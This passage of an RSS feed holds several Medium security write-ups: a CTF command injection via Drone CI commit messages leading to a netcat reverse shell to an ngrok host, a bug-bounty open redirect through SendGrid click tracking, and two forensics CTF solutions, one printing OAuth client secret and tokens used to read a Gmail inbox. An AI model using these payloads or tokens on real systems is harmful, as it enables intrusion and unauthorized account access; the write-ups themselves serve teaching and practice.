code, i hooked up into this line of code</p><pre> - sh -c &quot;echo $DRONE_COMMIT_MESSAGE&quot;</pre><p>I start to think what is the $DRONE_COMMIT_MESSAGE? I open the <a href="https://docs.drone.io/pipeline/environment/reference/drone-commit-message/">documentation</a> again and found this explanation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*_GyQeLyzSTFAQHWeuCi_3A.png" /></figure><p>So basically it is just the commit message and the commit message is fully controlled by us, the user.</p><p>Then i got an idea where we change README.md file then inject malicious command in the commit message. After that we create a pull request. The build process will be executed and hopefully the malicious command will be executed in the shell</p><p>Then i create a simple payload to break the quotes and inject malicious command. My payload is used to list the directory : &quot;&quot;;ls -la . In the shell execution maybe it will looks like this :</p><pre>sh -c &quot;echo &quot;&quot;;ls -la&quot;<br># So it will run the echo first then execute the ls -la</pre><p>So i just hop into the gitea to make changes in README.md file, create a new branch, inject the payload in commit message, create a pull request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAPD6ht1CQpif-sJT6XiDw.png" /><figcaption>Create a commit with the payload as commit message and then create a pull request</figcaption></figure><p>Here’s the build result from the Drone CI dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kCjn501HfVX7Kx4hyvLYw.png" /><figcaption>Drone CI build result</figcaption></figure><p>It executed the ls -la command and list the directory</p><p>Now we got the vulnerable point ! We can inject malicious command in the commit message and the Drone CI server (self-hosting) will run it in the shell</p><p>In the next section i will show how i got a reverse shell</p><h3>Reverse Shell</h3><p>I create a reverse shell with the help from <a href="https://ngrok.com/">ngrok</a> and <a href="https://www.kali.org/tools/netcat/">netcat</a> tools. I also ‘steal’ reverse shell payload from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadAllTheThings repository</a> . I used this reverse shell command :</p><pre>rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;HOST/IP&gt; &lt;PORT&gt; &gt;/tmp/f</pre><h4>Proof of Concept</h4><p>Run netcat in listener mode using command nc -lvnp 9999 to receive reverse shell connection</p><p>Run ngrok tcp server using command ngrok tcp 9999 to make it accessible from internet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*VnzD15prmpFJVXE_CKzTAA.png" /><figcaption>ngrok server running</figcaption></figure><p>Go to gitea, change README.md and i add this payload as commit message</p><pre>&quot;&quot;;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 0.tcp.ap.ngrok.io 13513 &gt;/tmp/f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvgG73XaLSeayykXymOq4w.png" /><figcaption>Inject malicious command in commit message</figcaption></figure><p>Then create a pull request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-eAhbO2UvWjaPVk88KFxQg.png" /><figcaption>Create pull request to trigger build process</figcaption></figure><p>Then in netcat, I got the Drone CI shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*0glH9l5BSnGDKCK6vSYeaw.png" /><figcaption>Got the shell and also the flag</figcaption></figure><p>Thank you for reading ! I hope you like it !</p><p>I planned to create another writeup for <strong>Dizzy</strong> (DevOps) challenge. So before i create that article if you have any questions, critics, advices for me or you want to correct my explanation, feel free to comment in this article. I’ll be happy to hear that !</p><p>See you later in another article !</p><p>Best, Rifqihz</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7790d93e425a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open Redirect via Sendgrid Email Misconfiguration]]></title>
            <link>https://systemweakness.com/open-redirect-via-sendgrid-email-misconfiguration-cec4ccb07f9a?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cec4ccb07f9a</guid>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sun, 13 Mar 2022 07:21:05 GMT</pubDate>
            <atom:updated>2022-03-15T07:52:13.921Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/807/0*mS5XT2nS6Xelj6Lv.png" /><figcaption><a href="https://portswigger.net/cms/images/ce/26/a7e577b4b0b4-article-portswigger-bug-bounty-program-article.png">Link</a></figcaption></figure><p>Hello developer , bug hunter and cyber security enthusiast. In this opportunity i wanna show you my first Bug Bounty writeup from one of a <a href="http://hackerone.com/">Hackerone</a> public bug bounty program</p><h4>Brief Information</h4><p>Bug Type : Open Redirect</p><p>Severity : Low</p><p>Bounty : $200 Bounty + $50 Retest</p><p>Timeline :</p><ul><li>26 January — Reported</li><li>28 January — Closed as Informative</li><li>28 January — Add new attack flow</li><li>5 February — Triaged</li><li>14 February — Bounty rewarded</li><li>24 February — Retest</li><li>24 February — Resolved</li></ul><p>Open redirect (<a href="https://cwe.mitre.org/data/definitions/601.html">CWE-601</a>) is a vulnerability when a user can control the input to the external website and use that to redirect.</p><p>When this article published , the report is not disclosed yet . So lets call the company website as xyz.com.</p><h4>Let’s Start</h4><p>I was looking for an account takeover vulnerability via change email address feature. To change the email address we need an OTP from the new email address. After sometime looking around unfortunately i didn’t find the vulnerability.</p><p>Then i moved on to the profile page and saw there’s a nickname form. I tried to change the nickname to “www.evil.com” and “http://evil.com”. But no error occurred , so i assume there’s no restriction to using symbol in the nickname.</p><p>I was check the email from the change email address before and found that my nickname is included in the email. Then i changed my email again to see how my nickname get converted in the email</p><pre>Dear <a href="http://www.evil.com/">www.evil.com</a>,</pre><pre>We have received your change e-mail address request.<br>As soon as  you&#39;ve confirmed your identity with the verification code, you&#39;ll be  able to use your new e-mail address with our services.</pre><pre>Please enter the following verification code on the e-mail address change page.<br><br>Verification code: 123456</pre><pre>....</pre><pre>--------------------------------------------------------------------</pre><pre>Dear <a href="http://link.xyz.com/ls/click?upn=some_long_random_string">http://www.evil.com</a>,</pre><pre>We have received your change e-mail address request.<br>As soon as  you&#39;ve confirmed your identity with the verification code, you&#39;ll be  able to use your new e-mail address with our services.</pre><pre>Please enter the following verification code on the e-mail address change page.<br><br>Verification code: 123456</pre><pre>....</pre><p>The www.evil.com was become a redirect link to http://www.evil.com. But when i tried to use the http://www.evil.com , it generated a link like link.xyz.com/ls/click?upn=some_long_random_string which also redirect to http://www.evil.com.</p><h4>Why did that happen?</h4><p>click?upn=some_long_random_string was a Sendgrid click tracking feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*VwwJWJofV9UQFPrQ0e-HPA.png" /><figcaption><a href="https://docs.sendgrid.com/ui/account-and-settings/tracking">https://docs.sendgrid.com/ui/account-and-settings/tracking</a></figcaption></figure><p>There’s a misconfiguration in xyz’s Sendgrid email causing the nickname get overwritten to link.xyz.com .</p><p>At that point i thought i found an open redirect bug and immediately report it. But later on the report was disclosed as informative.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*nMs0jW6GCeMDsTz5Cr2APA.png" /></figure><h4>“Light Bulb” Moment</h4><p>In the same day as the report closed as informative , i found out that the xyz.com have return_to parameter in the root path to redirect to external link but it was limited to only accept whitelisted domain.</p><p>Then i got a new idea for a better attack flow. Since i could generate a link with my nickname and the generated link was in link.xyz.com domain. So why i don’t try to use the link.xyz.com as a redirect parameter?</p><p>Yes , my theory worked. We can redirect to evil.com using link.xyz.com as parameter</p><p>Finally the final open redirect payload was like :<br>xyz.com/?return_to=link.xyz.com/ls/click?upn=some_long_random_string</p><p>Redirect flow : <br>xyz.com -&gt; link.xyz.com/ls/click?upn=some_long_random_string -&gt; www.evil.com</p><h4>References</h4><ul><li><a href="https://docs.sendgrid.com/ui/sending-email/universal-links">https://docs.sendgrid.com/ui/sending-email/universal-links</a></li><li><a href="https://docs.sendgrid.com/ui/account-and-settings/tracking">https://docs.sendgrid.com/ui/account-and-settings/tracking</a></li><li><a href="https://docs.sendgrid.com/ui/analytics-and-reporting/click-tracking-html-best-practices">https://docs.sendgrid.com/ui/analytics-and-reporting/click-tracking-html-best-practices</a></li></ul><p>Thank you for reading. Hopefully you learn something from this article.</p><p>Regards , Writer</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cec4ccb07f9a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/open-redirect-via-sendgrid-email-misconfiguration-cec4ccb07f9a">Open Redirect via Sendgrid Email Misconfiguration</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup Fword CTF 2021 — ELearning(Memory Forensic)]]></title>
            <link>https://medium.com/@rifqihz/writeup-fword-ctf-2021-elearning-memory-forensic-ecf39bffdf73?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecf39bffdf73</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Mon, 30 Aug 2021 07:09:53 GMT</pubDate>
            <atom:updated>2021-08-30T07:09:53.162Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8QzO2R2hZdiLT3X1.png" /></figure><h3>Writeup Fword CTF 2021 — ELearning (Memory Forensic)</h3><h3>Forensic — ELearning[953 Pts](23 Solves)</h3><blockquote>Semah has enrolled new hacking course in order to enhance his skills. He started the first phase of learning, as his friend I wanted to make sure that he is getting lessons from the good people. So i took an image for you and help me figuring it out.</blockquote><blockquote>Flag format : <strong>FwordCTF{InstructorName_targetIPTested_toolsUsedToReach TheFileandDownloadIt_NameOfFoundFile_Content}</strong></blockquote><blockquote>Example :</blockquote><blockquote><strong>InstructorName</strong> : SemahBA</blockquote><blockquote><strong>TargetIPTested</strong> : 10.10.10.10</blockquote><blockquote><strong>toolsUsedToReachTheFileandDownloadIt</strong> : JohnTheRipper ,gobuster, python (submit it in alphabetical order ) [no extension is needed]</blockquote><blockquote><strong>NameOfFoundFile</strong> : flag.txt</blockquote><blockquote><strong>Content</strong> : fakefakefake</blockquote><blockquote>Flag is : FwordCTF{SemahBA_10.10.10.10_gobuster-JohnTheRipper-python_flag.txt_fakefakefake}</blockquote><blockquote><strong>Author : SemahBA<br></strong><a href="https://drive.google.com/file/d/1tfcLMAbBWH-KBnkCDAboXAswm5fZuIed/view?usp=sharing">link1</a></blockquote><h4>TL;DR</h4><ol><li>Find Chat / Email App</li><li>Extract Instructor name from database</li><li>Extract console_history</li></ol><p>We are given challenge2.E01 file. E01 or Encase image can be opened with tools like <a href="https://www.autopsy.com/">Autopsy</a>. I used Autopsy 4.19.1 to solve this challenge</p><p>First import the E01 file and do some setup to let autopsy open and analyze the E01 file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axL9j31AxWc0dxVl4GoKmg.png" /></figure><p>After the Autopsy’s analyze is complete , then we can start to search the flag. The first thing that i check is the Documents folder. I found the file.txt.txt with some string that after i analyze with hash-identifier it seems like a md5 digest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*hkKWJyWSZ4_4a902xRH2Vw.png" /></figure><p>Then we can go to the Download folder and see dirsearch-master folder. <a href="https://github.com/maurosoria/dirsearch">Dirsearch</a> is a tools to enumerate directory path of a website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*5KAn8_ya0G8gb_mGrIQKfg.png" /></figure><p>Then i check the Appdata folder . Appdata contains application settings, files, and data unique to the applications. We can check the Local folder first and i found that there’s Mailbirdfolder that maybe there’s some email about the instructor’s name and zenmap.exe.log . Zenmap is an official Nmap Security Scanner GUI. So first i check through the Mailbird’s folder and found that there’s database file Store.db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*JSKnKuTVQTQukeBVc3uFHQ.png" /></figure><p>Simply extract it and open it with sqlite3 (you can use file to check it) or you can just click the file in Autopsy and Autopsy will generate the table for you</p><pre>$file mailbird-Store.db                                                                                                                                         <br>mailbird-Store.db: SQLite 3.x database, last written using SQLite version 3032001</pre><pre>$ sqlite3 mailbird-Store.db</pre><pre># Show all tables<br>sqlite&gt; .tables<br>Accounts                        FilterConditions              <br>Attachments                     Filters                       <br>CalendarAccounts                Folders                       <br>CalendarAclRules                Folders_Messages              <br>CalendarEventAttendees          MessageBodies                 <br>CalendarEventConferenceEntries  MessageReferences             <br>CalendarEventConferences        Messages                      <br>CalendarEventRecurrences        Messages_Contacts             <br>CalendarEvents                  OAuth2Credentials             <br>CalendarReminders               Pop3MessageUids               <br>Calendars                       SchemaInfo                    <br>Contacts                        SenderIdentities              <br>FTS_Messages                    UserContactAccounts           <br>FTS_Messages_config             UserContactFields             <br>FTS_Messages_content            UserContactGroups             <br>FTS_Messages_data               UserContactGroups_UserContacts<br>FTS_Messages_docsize            UserContactLinkGroups         <br>FTS_Messages_idx                UserContactPostalAddresses    <br>FilterActions                   UserContacts</pre><pre># You can select with &quot;where id=3&quot; to see it more clearly<br>sqlite&gt; select * from FTS_Messages_content;<br>&lt;snippet&gt;<br>3|Penetration Testing|Dear fwordctf,<br>Thanks for subscribing!<br>The Pentesting course is the best way to discover and enhance your skills.<br>I&#39;m SBA, and will be your constructor during this course.<br>First course will be dedicated to reconnaissance, so first things to do is getting used to Nmap and web directories discoveries such as gobuster/dirbuster/dirsearch ... you can use anyone you want.<br>let&#39;s first start with the machine you got with our pack.<br>Import the VM and start the recon then we will carry on depending on your findings.<br>BestRegards<br>Fwordelearn.|Fword CTF <a href="/service/mailto:fwordelearn@outlook.com">fwordelearn@outlook.com</a><a href="/service/mailto:|fwordctf@outlook.com">|fwordctf@outlook.com</a> <a href="/service/mailto:fwordctf@outlook.com">fwordctf@outlook.com</a>||</pre><p>From that message we can see that the instructor name is SBA</p><blockquote>InstructorName : SBA</blockquote><p>Then i got stuck because i can’t find what IP that’s got tested. The first thing that show up in my mind was where can i get the list of connection that have been made by this file but i got nothing . Then i come up with the second idea that maybe there’s a file that list the console history like in <a href="https://github.com/volatilityfoundation/volatility">volatility</a> plugin. Then i search again in the AppData and found the ConsoleHost_history.txt</p><pre>/img_Challenge2.E01/Users/fword/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*K4w5aoEMEEv9IfI35fuMMg.png" /></figure><pre>New-Item -ItemType Diretory -Path C:\users\fword\lab01<br>New-Item -ItemType Directory -Path C:\users\fword\lab01<br>ls<br>cd .\lab01\<br>nmap -sC -sV 192.168.1.9<br>cd ..\Downloads\dirsearch-master\dirsearch-master\<br>echo &quot;192.168.1.9          lab01.fword&quot; &gt;&gt; C:\Windows\System32\drivers\etc\hosts<br>ls<br>python .\dirsearch.py -u <a href="http://lab01.fword/">http://lab01.fword</a> -e txt,php <br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\<br>cd<br>cd C<br>cd C:\Users\fword\<br>wget <a href="http://lab01.fword/secret/secret.txt">http://lab01.fword/secret/secret.txt</a><br>Rename-Item -Path &quot;c:\Users\fword\secret.txt&quot; -NewName &quot;file.txt&quot;</pre><p>From that file we can get all information that we need to get the final flag</p><blockquote>TargetIPTested : 192.168.1.9</blockquote><blockquote>toolsUsedToReachTheFileandDownloadIt : nmap , dirsearch , wget -&gt;dirsearch , nmap , wget (alphabetic order)</blockquote><blockquote>NameOfFoundFile : secret.txt</blockquote><blockquote>Content : &lt;file.txt.txt&gt; 663cd2dfc9418f384d90c89a15319b3d</blockquote><p>Combine the flag :</p><blockquote>FwordCTF{SBA_192.168.1.9_dirsearch,nmap,wget_secret.txt_663cd2dfc9418f384d90c89a15319b3d}</blockquote><p>Thank you for reading , hopefully you learn something from this writeup</p><ul><li><a href="https://medium.com/@rifqihz/writeup-fword-ctf-2021-crypt-memory-forensic-940033a98284">Writeup Fword CTF 2021 — Crypt (Memory Forensic)</a></li><li><a href="https://medium.com/@rifqihz/writeup-fword-ctf-2021-listening-email-forensic-a6d215e77c39">Writeup Fword CTF 2021 — Listening (Email Forensic)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecf39bffdf73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup Fword CTF 2021 — Listening (Email Forensic)]]></title>
            <link>https://medium.com/@rifqihz/writeup-fword-ctf-2021-listening-email-forensic-a6d215e77c39?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6d215e77c39</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sun, 29 Aug 2021 11:33:26 GMT</pubDate>
            <atom:updated>2021-08-30T07:26:33.615Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hyb8KW41Xi2jQrtV.png" /></figure><h3>Writeup Fword CTF 2021 — Listening (Email Forensic)</h3><h3>Forensic — Listening [738 Pts](54 Solves)</h3><blockquote>How Deep Can You Possibly Dig?</blockquote><blockquote>Flag Format: FwordCTF{….}</blockquote><blockquote><strong><em>Author : MohammedHassen x SemahBA</em></strong></blockquote><h4>TL;DR</h4><ol><li>Analyze HTTP Request-Response</li><li>Fix the HTTP Request</li><li>Read the Email</li></ol><p>We are given challenge.pcap file. Let’s open it in wireshark. It’s only contain 66 packets in it. Filter the packet using HTTP and we’ll see that there’s a HTTP request and response in the packet 19 and 33</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*TizKnEtnod-vBAYA6cIJSg.png" /></figure><p>We can see the data using HTTP Stream</p><pre># Request (Packet 19)<br>POST /token HTTP/1.1</pre><pre>Host: oauth2.googleapis.com</pre><pre>Content-length: 269</pre><pre>content-type: application/x-www-form-urlencoded</pre><pre>user-agent: google-oauth-playground</pre><pre>client_secret=AER8VvrXuFfYfqjhidcekAM0&amp;grant_type=refresh_token&amp;refresh_token=1%2F%2F044y6gZR87Kl0CgYIARAAGAQSNwF-L9IrkAFpIJPMhiGY0OPJpo5RiA5_7R-mHH-kuHwCMUeFL2JqxevGr23oBJmaxdnrD52t3X4&amp;client_id=1097638694557-3v745luessc34bkoiqkf8tndqgvbqjpm.apps.googleusercontent.com&amp;email=fwordplayground@gmail.com</pre><pre># Reponse (Packet 33)<br>HTTP/1.1 403 Forbidden</pre><pre>Vary: X-Origin</pre><pre>Vary: Referer</pre><pre>Content-Type: application/json; charset=UTF-8</pre><pre>Date: Fri, 27 Aug 2021 18:24:31 GMT</pre><pre>Server: scaffolding on HTTPServer2</pre><pre>Cache-Control: private</pre><pre>X-XSS-Protection: 0</pre><pre>X-Frame-Options: SAMEORIGIN</pre><pre>X-Content-Type-Options: nosniff</pre><pre>Accept-Ranges: none</pre><pre>Vary: Origin,Accept-Encoding</pre><pre>Transfer-Encoding: chunked</pre><pre>{</pre><pre>&quot;error&quot;: {</pre><pre>&quot;code&quot;: 403,</pre><pre>&quot;message&quot;: &quot;SSL is required to perform this operation.&quot;,</pre><pre>&quot;status&quot;: &quot;PERMISSION_DENIED&quot;</pre><pre>}</pre><pre>}</pre><p>We can see that the HTPP response code is 403 with the message “SSL is required to perform this operation”. So we should use HTTPS to do that request . At that moment i was searching more maybe there are something that i missed in the Ping or something else but i didn’t found that so i just go to curland access it with HTTPS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK1BXHtXjeEKIeY3VajIew.png" /></figure><p>I got the Access token with Bearer type and the other interesting part is the scope gmail.readonly . I search a little bit and got this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Yy0OAk39eDVQulI9GcKumg.png" /></figure><p>I was stuck a little bit here , because i don’t know what to do and i don’t know much about googleapis until i realize that the user-agentin the request is google-oauth-playground . I search it a little bit and i got this https://developers.google.com/oauthplayground/ . Then set the data needed to perform API action</p><pre>Authorization code : AER8VvrXuFfYfqjhidcekAM0</pre><pre>Refresh token : 2F044y6gZR87Kl0CgYIARAAGAQSNwF-L9IrkAFpIJPMhiGY0OPJpo5RiA5_7R-mHH-kuHwCMUeFL2JqxevGr23oBJmaxdnrD52t3X4</pre><pre>Access Token : &lt;Your access token&gt; a0ARrdaM_dJVaKhZLLewn8tSWuxCQF5dYXMRg4fOlLwEr9Tra9OoISaBhkF1FSBl7wryPa2JwF2MtMlr9qGrGv3NCGKFxf1FUzl0g2MrBH7QtzxEKv7Dk6NPS23TR41S6CkGhl1IOGqU7GNl1R3rSVO1KdCG19LA</pre><pre>Request URI : https://gmail.googleapis.com/gmail/v1/users/fwordplayground@gmail.com/messages</pre><p>Send request to list all messages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHROnosSzWOuONV9igkRuQ.png" /></figure><p>Voila ! we get all message ID then we can use this Request URI format to get specified message</p><pre>https://gmail.googleapis.com/gmail/v1/users/{userId}/messages/{id}</pre><p>Go through the list of ID and we got the flag in ID : 17b7d85d21fc05ba</p><pre>https://gmail.googleapis.com/gmail/v1/users/fwordplayground@gmail.com/messages/17b7d85d21fc05ba</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*_0qxh-OSNyCkT11WOMCpdw.png" /></figure><p>Get the data and decode it using base64</p><pre>$ echo &#39;RndvcmRDVEZ7ZW1haWxfZm9yZW5zaWNzX2lzX2ludGVyZXN0aW5nXzczNDg5bm43bjQ4OTF9DQo=&#39; | base64 -d</pre><pre>FwordCTF{email_forensics_is_interesting_73489nn7n4891}</pre><blockquote>Flag : FwordCTF{email_forensics_is_interesting_73489nn7n4891}</blockquote><p>Thank you for reading , hopefully you learn something from this writeup</p><ul><li><a href="https://medium.com/@rifqihz/writeup-fword-ctf-2021-crypt-memory-forensic-940033a98284">Writeup Fword CTF 2021 — Crypt (Memory Forensic)</a></li><li><a href="https://medium.com/@rifqihz/writeup-fword-ctf-2021-elearning-memory-forensic-ecf39bffdf73">Writeup Fword CTF 2021 — ELearning(Memory Forensic)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6d215e77c39" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>